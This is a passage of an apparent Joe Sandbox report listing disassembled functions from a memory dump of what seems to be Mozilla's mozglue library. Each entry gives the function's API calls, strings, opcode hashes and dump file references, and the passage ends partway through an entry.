API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: a84c4d2fc90b151f50eceabfa1623d228fbb8c85011549c0a2351faa1e156532
Instruction ID: f959617c178915bad48a63983ceb84ec58ccedb85fca055e428ba40bccc15373
Opcode Fuzzy Hash: a84c4d2fc90b151f50eceabfa1623d228fbb8c85011549c0a2351faa1e156532
Instruction Fuzzy Hash: 1141A1719047469FD300EF29C48096AFBF4FF8A254F604A1DE4A987790DB30E559CBE2

Function 6C496470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C4982BC,?,?), ref: 6C49649B

Part of subcall function 6C46CA10: malloc.MOZGLUE(?), ref: 6C46CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4964A9

Part of subcall function 6C48FA80: GetCurrentThreadId.KERNEL32 ref: 6C48FA8D
Part of subcall function 6C48FA80: AcquireSRWLockExclusive.KERNEL32(6C4DF448), ref: 6C48FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C49653F
free.MOZGLUE(?), ref: 6C49655A

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: fff009b5af64a9a6987b843dc581aa0763ba4798af4d6c0a437aebb4d925bce9
Instruction ID: 91e6159f3d890ece98cfb7a08e8a5acf0f5a78aaf792e75bb4d1509ac969b880
Opcode Fuzzy Hash: fff009b5af64a9a6987b843dc581aa0763ba4798af4d6c0a437aebb4d925bce9
Instruction Fuzzy Hash: 73315DB5A04315AFD740DF14D884E9ABBE4BF89324F00482EE85A97751DB30E919CBD2

Function 6C48FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C4AD019,?,?,?,?,?,00000000,?,6C49DA31,00100000,?), ref: 6C48FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C4AD019,?,?,?,?,?,00000000,?,6C49DA31,00100000,?,?), ref: 6C48FFF5
free.MOZGLUE(?,?,?,?,?,6C4AD019,?,?,?,?,?,00000000,?,6C49DA31,00100000,?), ref: 6C49001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C4AD019,?,?,?,?,?,00000000,?,6C49DA31,00100000,?,?), ref: 6C49002A

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 413b32860f43e56562a768983c0d53eed9a6ca2081fac73386bb8c727f835bcd
Instruction ID: c0840b4fe25aa7f6d75a371d33ca2871ac242d893d31859212d644544cfe5b24
Opcode Fuzzy Hash: 413b32860f43e56562a768983c0d53eed9a6ca2081fac73386bb8c727f835bcd
Instruction Fuzzy Hash: 3521C4B2E012155BD718DF68A894CAEB7BAFB853247250339E525D7780EA70AD0186D1

Function 6C46B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C46B4F5
AcquireSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C46B502
ReleaseSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C46B542
free.MOZGLUE(?), ref: 6C46B578

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: cdc9783f5defe7ef3ad99a7b6013e14dca123db72fd5ba255b7dd82b8400daff
Instruction ID: a4a5b04c3728fb570e45102437b471139c4050f250a7fb056d29ba9cf485cede
Opcode Fuzzy Hash: cdc9783f5defe7ef3ad99a7b6013e14dca123db72fd5ba255b7dd82b8400daff
Instruction Fuzzy Hash: C511CD30A14B41C7D321EF2AC800FA1B3B1FFA632AF14970AE84953E01EBB0B1C58790

Function 6C493DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C45F20E,?), ref: 6C493DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C45F20E,00000000,?), ref: 6C493DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C493E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C493E0E

Part of subcall function 6C48CC00: GetCurrentProcess.KERNEL32(?,?,6C4531A7), ref: 6C48CC0D
Part of subcall function 6C48CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C4531A7), ref: 6C48CC16

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 336069571e64e27b15bbd87e93b2732cec9837c8fe804ee513d8ca024b99f039
Instruction ID: 2b04b96f117af22bd4d5d13a33452885360521731cdf26ae2db497c1fb312251
Opcode Fuzzy Hash: 336069571e64e27b15bbd87e93b2732cec9837c8fe804ee513d8ca024b99f039
Instruction Fuzzy Hash: 9EF0F8B1A002186BEA01FB94EC81EAB376DEB46628F040025FE0857741D635BE6996E7

Function 6C4A2050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C4A205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C4A201B,?,?,?,?,?,?,?,6C4A1F8F,?,?), ref: 6C4A2064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C4A208E
free.MOZGLUE(?,?,?,00000000,?,6C4A201B,?,?,?,?,?,?,?,6C4A1F8F,?,?), ref: 6C4A20A3

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 9af6f8aef585361a6f806c0057eb168a0169194f3cfd045430efefc962362eed
Instruction ID: 7db31a4c3a0efb7670190c0875199e3cea24d7eeae76a27c177cf505aaa35423
Opcode Fuzzy Hash: 9af6f8aef585361a6f806c0057eb168a0169194f3cfd045430efefc962362eed
Instruction Fuzzy Hash: 28F090B1104A109BC721EF17D888F5BB7F9EF9A324F10011AE64A87710CB71A806CB96

Function 6C4A85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C4A85D3

Part of subcall function 6C46CA10: malloc.MOZGLUE(?), ref: 6C46CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C4A8725

Strings

map/set<T> too long, xrefs: 6C4A8720

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 69df456508bbbc068a46e26da13800a396af917d17157f3f67913fd1436c965d
Instruction ID: 1cadeb0cf67fd3fcd4c3b805191161463af71a37c83577e5eb8be53a961f733b
Opcode Fuzzy Hash: 69df456508bbbc068a46e26da13800a396af917d17157f3f67913fd1436c965d
Instruction Fuzzy Hash: 565155B4A006818FE701CF58C584E95BBF1FF69318F18C19AD8595BB66C335E846CF92

Function 6C45BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C45BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C45BE8F

Strings

0, xrefs: 6C45BE5B

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: c596fe5640b32ee1883b00c01f9cc2a217ba1687b4020a073cd204dcd1d6d126
Instruction ID: 8eada5f97fc14c8ede7e7b2581ced2675f67fb497478f8e6fbec2011a033e809
Opcode Fuzzy Hash: c596fe5640b32ee1883b00c01f9cc2a217ba1687b4020a073cd204dcd1d6d126
Instruction Fuzzy Hash: 5C418F71A09745DFC701CF28C481E9BB7F4AF8A348F448A1DF985A7611D731E969CB82

Function 6C493CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C493D19
mozalloc_abort.MOZGLUE(?), ref: 6C493D6C

Strings

d, xrefs: 6C493D58

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: eaee8d42dbc388f96d44e6bf678ef28130484501005453dddbac804f1e8aa01d
Instruction ID: 96e3f018819c5a90c3dccfcdd1a8c35044b2c3948c48d5f947ea991ecfd7e142
Opcode Fuzzy Hash: eaee8d42dbc388f96d44e6bf678ef28130484501005453dddbac804f1e8aa01d
Instruction Fuzzy Hash: 8A11C435E046989BDB01EB69CC24DEDBB75EF87218F45931CDC4997722EB30AA84C390

Function 6C464730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C4644B2,6C4DE21C,6C4DF7F8), ref: 6C46473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C46474A

Strings

GetNtLoaderAPI, xrefs: 6C464744

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: b017bd9789ccd1cf3fd9469b970b269a627fcc83bddcbaabcf85aa909bee4c82
Instruction ID: a8f6ba7340e90178265011e16b11f50477b930a1fad20dea16b55fa2dfdfdabb
Opcode Fuzzy Hash: b017bd9789ccd1cf3fd9469b970b269a627fcc83bddcbaabcf85aa909bee4c82
Instruction Fuzzy Hash: EF015E75B012549FDF00FFA6D894E19BBB9EB8B366B054869EA05C7700DB74E8018F92

Function 6C4B6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C4B6E22
__Init_thread_footer.LIBCMT ref: 6C4B6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C4B6E1D

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 44cd2a83ffdbd90b5da30f14c14cd94887d786b94af8b157cf91bccf93273789
Instruction ID: cffcc5476699766a6a46ef9271e8c50d43fcf02b51c9ce9c13c95d1c37766a48
Opcode Fuzzy Hash: 44cd2a83ffdbd90b5da30f14c14cd94887d786b94af8b157cf91bccf93273789
Instruction Fuzzy Hash: C0F02E302062808BEE20FB78C8A1ED177B29703218F080169F80496FA1C731B607CBA3

Function 6C469E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C469EEF

Strings

Infinity, xrefs: 6C469EB7
NaN, xrefs: 6C469EC1

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: bdf3b917cb8639939c39427f3fd6be4fde211961d8a503ab2e8e9482e253a7cb
Instruction ID: 92023849f5b20b8aca48dec22de913bec95c12f50c039a49f0242cf1041fcf90
Opcode Fuzzy Hash: bdf3b917cb8639939c39427f3fd6be4fde211961d8a503ab2e8e9482e253a7cb
Instruction Fuzzy Hash: 15F0CD70603281CBFF20FF58D855F9077F1B713319F240A18CA020AB80D7BAB646CA82

Function 6C466C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0KIl,?,6C494B30,80000000,?,6C494AB7,?,6C4543CF,?,6C4542D2), ref: 6C466C42

Part of subcall function 6C46CA10: malloc.MOZGLUE(?), ref: 6C46CA26

moz_xmalloc.MOZGLUE(0KIl,?,6C494B30,80000000,?,6C494AB7,?,6C4543CF,?,6C4542D2), ref: 6C466C58

Strings

0KIl, xrefs: 6C466C33, 6C466C41, 6C466C57

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0KIl
API String ID: 1967447596-3357514915
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 2e83a8bc406aecc7a9d3be842c683885b353ba4db28f6f04e996d843481f0704
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 47E086F1A10A454B9F08D97AAC09EAA71C88B542ED7044A39EC22C6FCCFA74E5508191

Function 6C463850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C4DF860), ref: 6C46385C
ReleaseSRWLockExclusive.KERNEL32(6C4DF860,?), ref: 6C463871

Strings

,Ml, xrefs: 6C46387A

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,Ml
API String ID: 17069307-3798735700
Opcode ID: 5a627d689af877cc9db08f992e32bfd8caced45859015a82af52363cfe5b2e6e
Instruction ID: eef284fd399111a75f53cfc89c0340e18d90422c8553af62c842f72e58f1c4be
Opcode Fuzzy Hash: 5a627d689af877cc9db08f992e32bfd8caced45859015a82af52363cfe5b2e6e
Instruction Fuzzy Hash: 74E0DF31A42A9897C621FF978411ECABBB8EF0769030A880AF40A17F00C730F18086C6

Function 6C46BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C46BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C46BEF5

Strings

cryptbase.dll, xrefs: 6C46BEF0

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 39364c9692c87357f7a710cb3e94136a91e03ae46a35a7a3bf01d647d537a328
Instruction ID: a3436258d457b058ffe909a1b1a6a1ca8649d3b935dd4bde26bae8edd2360496
Opcode Fuzzy Hash: 39364c9692c87357f7a710cb3e94136a91e03ae46a35a7a3bf01d647d537a328
Instruction Fuzzy Hash: E6D0C932284209EADA40FBA1CD1AF293BB8A712766F10C021F75595D52CBB1B451DB94

Function 6C4AB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C4AB2C9,?,?,?,6C4AB127,?,?,?,?,?,?,?,?,?,6C4AAE52), ref: 6C4AB628

Part of subcall function 6C4A90E0: free.MOZGLUE(?,00000000,?,?,6C4ADEDB), ref: 6C4A90FF
Part of subcall function 6C4A90E0: free.MOZGLUE(?,00000000,?,?,6C4ADEDB), ref: 6C4A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C4AB2C9,?,?,?,6C4AB127,?,?,?,?,?,?,?,?,?,6C4AAE52), ref: 6C4AB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C4AB2C9,?,?,?,6C4AB127,?,?,?,?,?,?,?,?,?,6C4AAE52), ref: 6C4AB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C4AB127,?,?,?,?,?,?,?,?), ref: 6C4AB74D

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: dea6f0c6d71459d15050d7a8404f86ce02a37eee80bb8dd6fcc1b131ec04556b
Instruction ID: 729cd988271f4d9c35063d22782d390b7c612303c5398611ce4d7be6ad795647
Opcode Fuzzy Hash: dea6f0c6d71459d15050d7a8404f86ce02a37eee80bb8dd6fcc1b131ec04556b
Instruction Fuzzy Hash: A6510E75A0121A8FDB14DF98C980F6EBBB1FF54305F05812DC81AAB718D731A806CBA1

Function 6C4ADF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C49FF2A), ref: 6C4ADFFD

Part of subcall function 6C4A90E0: free.MOZGLUE(?,00000000,?,?,6C4ADEDB), ref: 6C4A90FF
Part of subcall function 6C4A90E0: free.MOZGLUE(?,00000000,?,?,6C4ADEDB), ref: 6C4A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C49FF2A), ref: 6C4AE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C49FF2A), ref: 6C4AE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C49FF2A), ref: 6C4AE0FE

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: c7d182d552913400c6a2af69555b6109eecbc7a6c4d27f564899b892d932f121
Instruction ID: 1b4f0d414f6c57877167ef0666cf1bfe566a117f3593e41e7887adf4ea42853a
Opcode Fuzzy Hash: c7d182d552913400c6a2af69555b6109eecbc7a6c4d27f564899b892d932f121
Instruction Fuzzy Hash: BA41C2B16082268FEB14CFA9C8D0F5A73B2AB55308F14452DD526DB744E732E926CBD2

Function 6C4A6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C4A6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C4A6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C4A6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4A6F5C

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: e581b5eff487ef2a724b842a122e37d3f36317179edda885558363285da42aa0
Instruction ID: 09e00215a058df1636eb768dee000de02e2768f490f43b6adf84e1936b44d6eb
Opcode Fuzzy Hash: e581b5eff487ef2a724b842a122e37d3f36317179edda885558363285da42aa0
Instruction Fuzzy Hash: 2231E571A1060A8FEB04DF6CC980FAA73F9EBA4345F50423DD41AC7665EB31E65AC790

Function 6C4BB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

